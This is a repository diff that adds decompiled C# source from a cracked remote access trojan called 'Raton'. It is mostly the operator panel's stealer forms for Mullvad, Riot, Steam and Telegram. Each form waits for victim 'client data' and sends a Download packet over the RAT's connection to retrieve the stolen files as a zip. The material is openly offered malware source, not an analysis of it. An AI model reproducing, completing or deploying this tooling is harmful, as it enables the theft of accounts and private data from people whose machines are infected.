this.label1 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 34);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 22);
|
||||
this.textBox1.TabIndex = 7;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 15);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(212, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 6;
|
||||
this.label1.Text = "Waiting for the client Mullvad data...";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 64 /*0x40*/);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMullvad);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMullvad);
|
||||
this.Load += new EventHandler(this.ratonMullvad_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,121 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonRiot
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonRiot : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public RgbBuildButton button1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonRiot()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonRiot_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonRiot));
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 62);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 14;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 33);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 20);
|
||||
this.textBox1.TabIndex = 13;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(185, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 12;
|
||||
this.label1.Text = "Waiting for the client riot data...";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonRiot);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonRiot);
|
||||
this.Load += new EventHandler(this.ratonRiot_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonSteam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonSteam : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
public Label label1;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonSteam()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonSteam_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonSteam));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 34);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 22);
|
||||
this.textBox1.TabIndex = 7;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 15);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(202, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 6;
|
||||
this.label1.Text = "Waiting for the client Steam data...";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 62);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonSteam);
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonSteam);
|
||||
this.Load += new EventHandler(this.ratonSteam_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,122 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Stealers.ratonTelegram
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Stealers;
|
||||
|
||||
public class ratonTelegram : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public Label label1;
|
||||
public TextBox textBox1;
|
||||
private Timer timer1;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonTelegram()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonTelegram_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", this.textBox1.Text);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
|
||||
return;
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonTelegram));
|
||||
this.label1 = new Label();
|
||||
this.textBox1 = new TextBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(217, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 0;
|
||||
this.label1.Text = "Waiting for the client telegram data...";
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Enabled = false;
|
||||
this.textBox1.Location = new Point(12, 33);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(543, 22);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 61);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(543, 46);
|
||||
this.button1.TabIndex = 6;
|
||||
this.button1.Text = "Download zip";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(567, 122);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonTelegram);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonTelegram);
|
||||
this.Load += new EventHandler(this.ratonTelegram_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user